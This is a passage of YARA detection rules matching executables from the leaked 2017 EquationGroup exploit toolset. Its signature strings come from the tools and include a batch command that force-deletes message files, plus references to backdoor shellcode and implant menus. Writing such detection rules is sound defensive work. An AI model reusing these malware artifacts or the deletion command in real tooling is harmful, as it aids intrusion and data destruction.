		id = "225799cf-4d1b-54f8-8b76-b9ee1db80ce7"

	strings:
		$x1 = "[+] Target is vulnerable to %d exploit%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Educatedscholartouch_1_0_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f4b958a0d3bb52cb34f18ea293d43fa301ceadb4a259d3503db912d0a9a1e4d8"
		id = "62205374-25a3-5b96-ad0a-a82c9a01a242"

	strings:
		$x1 = "[!] A vulnerable target will not respond." fullword ascii
		$x2 = "[-] Target NOT Vulernable" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Esteemaudittouch_2_1_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f6b9caf503bb664b22c6d39c87620cc17bdb66cef4ccfa48c31f2a3ae13b4281"
		id = "bb66245e-1261-50bd-8666-75fc4c52ad84"

	strings:
		$x1 = "[-] Touching the target failed!" fullword ascii
		$x2 = "[-] OS fingerprint not complete - 0x%08x!" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Rpctouch_2_1_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "7fe4c3cedfc98a3e994ca60579f91b8b88bf5ae8cf669baa0928508642c5a887"
		id = "0691768b-ca98-5722-8468-737c4966d54d"

	strings:
		$x1 = "[*] Failed to detect OS / Service Pack on %s:%d" fullword ascii
		$x2 = "[*] SMB String: %s (%s)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Mofconfig_1_0_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c67a24fe2380331a101d27d6e69b82d968ccbae54a89a2629b6c135436d7bdb2"
		id = "d0d32e19-d004-5941-a5b3-0b4306565cf2"

	strings:
		$x1 = "[-] Get RemoteMOFTriggerPath error" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Easypi_Explodingcan
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "dc1ddad7e8801b5e37748ec40531a105ba359654ffe8bdb069bd29fb0b5afd94"
		hash2 = "97af543cf1fb59d21ba5ec6cb2f88c8c79c835f19c8f659057d2f58c321a0ad4"
		id = "53d4ebf1-cce3-5fc8-8304-064b4113c9d7"

	strings:
		$x1 = "[-] %s - Target might not be in a usable state." fullword ascii
		$x2 = "[*] Exploiting Target" fullword ascii
		$x3 = "[-] Encoding Exploit Payload failed!" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Eclipsedwingtouch_1_0_4
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "46da99d80fc3eae5d1d5ab2da02ed7e61416e1eafeb23f37b180c46e9eff8a1c"
		id = "87e46fcd-d3e5-506a-97f3-8a18a7ba8042"

	strings:
		$x1 = "[-] The target is NOT vulnerable" fullword ascii
		$x2 = "[+] The target IS VULNERABLE" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Iistouch_1_2_2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c433507d393a8aa270576790acb3e995e22f4ded886eb9377116012e247a07c6"
		id = "dd6ea8cc-505d-5c7c-a7ea-c5fa4f14b5ee"

	strings:
		$x1 = "[-] Are you being redirectect? Need to retarget?" fullword ascii
		$x2 = "[+] IIS Target OS: %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 60KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Namedpipetouch_2_0_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "cb5849fcbc473c7df886828d225293ffbd8ee58e221d03b840fd212baeda6e89"
		hash2 = "043d1c9aae6be65f06ab6f0b923e173a96b536cf84e57bfd7eeb9034cd1df8ea"
		id = "0a5519d7-9811-5159-8df2-0cb2995d5085"

	strings:
		$s1 = "[*] Summary: %d pipes found" fullword ascii
		$s3 = "[+] Testing %d pipes" fullword ascii
		$s6 = "[-] Error on SMB startup, aborting" fullword ascii
		$s12 = "92a761c29b946aa458876ff78375e0e28bc8acb0" fullword ascii
		$op1 = { 68 10 10 40 00 56 e8 e1 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_Easybee_1_0_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "59c17d6cb564edd32c770cd56b5026e4797cf9169ff549735021053268b31611"
		id = "f170ed34-f7d1-5eb2-9400-4308b6b39388"

	strings:
		$x1 = "@@for /f \"delims=\" %%i in ('findstr /smc:\"%s\" *.msg') do if not \"%%MsgFile1%%\"==\"%%i\" del /f \"%%i\"" fullword ascii
		$x2 = "Logging out of WebAdmin (as target account)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Regread_1_1_1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
		id = "99a2b146-a277-5917-9a84-3d396d2c8bf9"

	strings:
		$s1 = "[+] Connected to the Registry Service" fullword ascii
		$s2 = "f08d49ac41d1023d9d462d58af51414daff95a6a" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Englishmansdentist_1_2_0
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "2a6ab28885ad7d5d64ac4c4fb8c619eca3b7fb3be883fc67c90f3ea9251f34c6"
		id = "76367c53-9b48-59a1-9ac9-8649fd833fe3"

	strings:
		$x1 = "[+] CheckCredentials(): Checking to see if valid username/password" fullword ascii
		$x2 = "Error connecting to target, TbMakeSocket() %s:%d." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Architouch_Eternalsynergy_Smbtouch
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
		hash2 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
		hash3 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
		id = "df3b0794-cbbd-530c-8425-fdf4b116b870"

	strings:
		$s1 = "NtErrorMoreProcessingRequired" fullword ascii
		$s2 = "Command Format Error: Error=%x" fullword ascii
		$s3 = "NtErrorPasswordRestriction" fullword ascii
		$op0 = { 8a 85 58 ff ff ff 88 43 4d }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_Eternalromance_2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
		hash3 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
		id = "40066023-ede9-5669-8b4d-a26a693d8818"

	strings:
		$x1 = "[+] Backdoor shellcode written" fullword ascii
		$x2 = "[*] Attempting exploit method %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__Emphasismine
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "dcaf91bd4af7cc7d1fb24b5292be4e99c7adf4147892f6b3b909d1d84dd4e45b"
		hash2 = "348eb0a6592fcf9da816f4f7fc134bcae1b61c880d7574f4e19398c4ea467f26"
		id = "cc684f39-4971-52e0-b5ec-d28c7ce7032b"

	strings:
		$x1 = "Error: Could not calloc() for shellcode buffer" fullword ascii
		$x2 = "shellcodeSize: 0x%04X + 0x%04X + 0x%04X = 0x%04X" fullword ascii
		$x3 = "Generating shellcode" fullword ascii
		$x4 = "([0-9a-zA-Z]+) OK LOGOUT completed" fullword ascii
		$x5 = "Error: Domino is not the expected version. (%s, %s)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Eternalromance
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
		hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
		id = "40066023-ede9-5669-8b4d-a26a693d8818"

	strings:
		$x1 = "[-] Error: Exploit choice not supported for target OS!!" fullword ascii
		$x2 = "Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed" fullword ascii
		$x3 = "[-] Error: Backdoor not present on target" fullword ascii
		$x4 = "***********    TARGET ARCHITECTURE IS X64    ************" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them ) or 2 of them
}

rule EquationGroup_Toolset_Apr17_Gen4
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "fe7ce2fdb245c62e4183c728bc97e966a98fdc8ffd795ed09da23f96e85dcdcd"
		hash2 = "0989bfe351342a7a1150b676b5fd5cbdbc201b66abcb23137b1c4de77a8f61a6"
		hash3 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
		hash4 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
		hash5 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
		hash6 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
		hash7 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
		hash8 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
		hash9 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
		hash10 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
		hash11 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
		hash12 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
		hash13 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
		hash14 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
		id = "f935c942-02a4-59b3-89ce-e5e3fa1cacda"

	strings:
		$x1 = "[+] \"TargetPort\"      %hu" fullword ascii
		$x2 = "---<<<  Complete  >>>---" fullword ascii
		$x3 = "[+] \"NetworkTimeout\"  %hu" fullword ascii
		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and ( 1 of ( $x* ) or 2 of them ) )
}

rule EquationGroup_Toolset_Apr17_Gen1
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "1b5b33931eb29733a42d18d8ee85b5cd7d53e81892ff3e60e2e97f3d0b184d31"
		hash2 = "139697168e4f0a2cc73105205c0ddc90c357df38d93dbade761392184df680c7"
		id = "98b0a398-7761-5506-bd2f-117c118df11f"

	strings:
		$x1 = "Restart with the new protocol, address, and port as target." fullword ascii
		$x2 = "TargetPort      : %s (%u)" fullword ascii
		$x3 = "Error: strchr() could not find '@' in account name." fullword ascii
		$x4 = "TargetAcctPwd   : %s" fullword ascii
		$x5 = "Creating CURL connection handle..." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Gen2
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "7fe425cd040608132d4f4ab2671e04b340a102a20c97ffdcf1b75be43a9369b5"
		hash2 = "561c0d4fc6e0ff0a78613d238c96aed4226fbb7bb9ceea1d19bc770207a6be1e"
		hash3 = "f2e90e04ddd05fa5f9b2fec024cd07365aebc098593d636038ebc2720700662b"
		hash4 = "8f7e10a8eedea37ee3222c447410fd5b949bd352d72ef22ef0b2821d9df2f5ba"
		id = "e47de7dd-8a37-5d0d-9af2-2a30fa000b05"

	strings:
		$s1 = "[+] Setting password : (NULL)" fullword ascii
		$s2 = "[-] TbBuffCpy() failed!" fullword ascii
		$s3 = "[+] SMB negotiation" fullword ascii
		$s4 = "12345678-1234-ABCD-EF00-0123456789AB" fullword ascii
		$s5 = "Value must end with 0000 (2 NULLs)" fullword ascii
		$s6 = "[*] Configuring Payload" fullword ascii
		$s7 = "[*] Connecting to listener" fullword ascii
		$op1 = { b0 42 40 00 89 44 24 30 c7 44 24 34 }
		$op2 = { eb 59 8b 4c 24 10 68 1c 46 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of ( $s* ) and 1 of ( $op* ) ) or 3 of them
}

rule EquationGroup_Toolset_Apr17_Gen3
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "270850303e662be53d90fa60a9e5f4bd2bfb95f92a046c77278257631d9addf4"
		hash2 = "7a086c0acb6df1fa304c20733f96e898d21ca787661270f919329fadfb930a6e"
		hash3 = "c236e0d9c5764f223bd3d99f55bd36528dfc0415e14f5fde1e5cdcada14f4ec0"
		hash4 = "9d98e044eedc7272823ba8ed80dff372fde7f3d1bece4e5affb21e16f7381eb2"
		hash5 = "dfce29df4d198c669a87366dd56a7426192481d794f71cd5bb525b08132ed4f7"
		hash6 = "87fdc6c32b9aa8ae97c7efbbd5c9ae8ec5595079fc1488f433beef658efcb4e9"
		hash7 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
		hash8 = "d94b99908f528fa4deb56b11eac29f6a6e244a7b3aac36b11b807f2f74c6d8be"
		hash9 = "4b07d9d964b2c0231c1db7526237631bb83d0db80b3c9574cc414463703462d3"
		hash10 = "30b63abde1e871c90df05137ec08df3fa73dedbdb39cb4bd2a2df4ca65bc4e53"
		hash11 = "02c1b08224b7ad4ac3a5b7b8e3268802ee61c1ec30e93e392fa597ae3acc45f7"
		hash12 = "690f09859ddc6cd933c56b9597f76e18b62a633f64193a51f76f52f67bc2f7f0"
		id = "7951fac1-9d5f-5991-a19a-88f3c8402e39"

	strings:
		$s1 = "Logon failed.  Kerberos ticket not yet valid (target and KDC times not synchronized)" fullword ascii
		$s2 = "[-] Could not set \"CredentialType\"" fullword ascii
		$op1 = { 46 83 c4 0c 83 fe 0c 0f 8c 5e ff ff ff b8 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_yak
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "66ff332f84690642f4e05891a15bf0c9783be2a64edb2ef2d04c9205b47deb19"
		id = "e5562d1a-7980-5fb8-b098-2e26003fb159"

	strings:
		$x1 = "-xd = dump archive data & store in scancodes.txt" fullword ascii
		$x2 = "-------- driver start token -------" fullword wide
		$x3 = "-------- keystart token -------" fullword wide
		$x4 = "-xta = same as -xt but show special chars & store in keys_all.txt" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_AdUser_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "fd2efb226969bc82e2e38769a10a8a751138db69f4594a8de4b3c0522d4d885f"
		id = "4ba152c8-aa81-5558-8ad3-c62aa3231dab"

	strings:
		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
		$s2 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them )
}

rule EquationGroup_Toolset_Apr17_RemoteExecute_Implant
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "770663c07c519677316934cf482e500a73540d9933342c425f3e56258e6e6d8b"
		id = "5fa5ff71-42fa-58e2-a826-341fb73ea08a"

	strings:
		$op1 = { 53 00 63 00 68 00 65 00 64 00 75 00 6C 00 65 00
               00 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00
               65 00 73 00 41 00 63 00 74 00 69 00 76 00 65 00
               00 00 00 00 FF FF FF FF 00 00 00 00 B0 17 00 68
               5C 00 70 00 69 00 70 00 65 00 5C 00 53 00 65 00
               63 00 6F 00 6E 00 64 00 61 00 72 00 79 00 4C 00
               6F 00 67 00 6F 00 6E 00 00 00 00 00 5C 00 00 00
               57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C 00
               44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00 00
               6E 00 63 00 61 00 63 00 6E 00 5F 00 6E 00 70 00
               00 00 00 00 5C 00 70 00 69 00 70 00 65 00 5C 00
               53 00 45 00 43 00 4C 00 4F 00 47 00 4F 00 4E }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them )
}

rule EquationGroup_Toolset_Apr17_Banner_Implant9x
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "5d69a8cfc9b636448f023fcf18d111f13a8e6bcb9a693eb96276e0d796ab4e0c"
		id = "7cbb509e-2a91-5e3c-8d19-61fda797cd8c"

	strings:
		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
		$op1 = { c9 c3 57 8d 85 2c eb ff ff }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them )
}

rule EquationGroup_Toolset_Apr17_greatdoc_dll_config
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "fd9d0abfa727784dd07562656967d220286fc0d63bcf7e2c35d4c02bc2e5fc2e"
		id = "592e4e40-f5cd-5a11-8a1b-0cdcf6f267ec"

	strings:
		$x1 = "C:\\Projects\\GREATERDOCTOR\\trunk\\GREATERDOCTOR" ascii
		$x2 = "src\\build\\Release\\dllConfig\\dllConfig.pdb" ascii
		$x3 = "GREATERDOCTOR [ commandline args configuration ]" fullword ascii
		$x4 = "-useage: <scanner> \"<cmdline args>\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_scanner
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "f180bdb247687ea9f1b58aded225d5c80a13327422cd1e0515ea891166372c53"
		id = "603c82d0-2e65-5353-a109-5f69697cffa4"

	strings:
		$x1 = "+daemon_version,system,processor,refid,clock" fullword ascii
		$x2 = "Usage: %s typeofscan IP_address" fullword ascii
		$x3 = "# scanning ip  %d.%d.%d.%d" fullword ascii
		$x4 = "Welcome to the network scanning tool" fullword ascii
		$x5 = "***** %s ***** (length %d)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17_Mcl_NtMemory_Std
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "087db4f2dbf8e0679de421fec8fb2e6dd50625112eb232e4acc1408cc0bcd2d7"
		id = "608218a8-7642-5ec4-8c07-87248649f022"

	strings:
		$op1 = { 44 24 37 50 c6 44 24 38 72 c6 44 }
		$op2 = { 44 24 33 6f c6 44 24 34 77 c6 }
		$op3 = { 3b 65 c6 44 24 3c 73 c6 44 24 3d 73 c6 44 24 3e }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17_tacothief
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "c71953cc84c27dc61df8f6f452c870a7880a204e9e21d9fd006a5c023b052b35"
		id = "7be7ca05-c2c7-5a7d-8b1b-e6741b4397b9"

	strings:
		$x1 = "File too large!  Must be less than 655360 bytes." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule EquationGroup_Toolset_Apr17_ntevt
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "4254ee5e688fc09bdc72bcc9c51b1524a2bb25a9fb841feaf03bc7ec1a9975bf"
		id = "fd25f703-ff3e-5e75-b1eb-24a658a1ac8e"

	strings:
		$x1 = "c:\\ntevt.pdb" fullword ascii
		$s1 = "ARASPVU" fullword ascii
		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and $x1 or 3 of them )
}

rule EquationGroup_Toolset_Apr17_Processes_Target
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "69cf7643dbecc5f9b4b29edfda6c0295bc782f0e438f19be8338426f30b4cc74"
		id = "1b910f46-5d19-5ecd-9647-10ee9ee7b012"

	strings:
		$s1 = "Select * from Win32_Process" fullword ascii
		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
		$s5 = "%4ls%2ls%2ls%2ls%2ls%2ls.%11l[0-9]%1l[+-]%6s" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule EquationGroup_Toolset_Apr17_st_lp
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		hash1 = "3b6f756cca096548dcad2b6c241c1dafd16806c060bec82a530f4d38755286a2"
		id = "2d4ee801-c7f4-5476-8368-89aa2863ba96"

	strings:
		$x1 = "Previous command: set injection processes (status=0x%x)" fullword ascii
		$x2 = "Secondary injection process is <null> [no secondary process will be used]" fullword ascii
		$x3 = "Enter the address to be used as the spoofed IP source address (xxx.xxx.xxx.xxx) -> " fullword ascii
		$x4 = "E: Execute a Command on the Implant" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

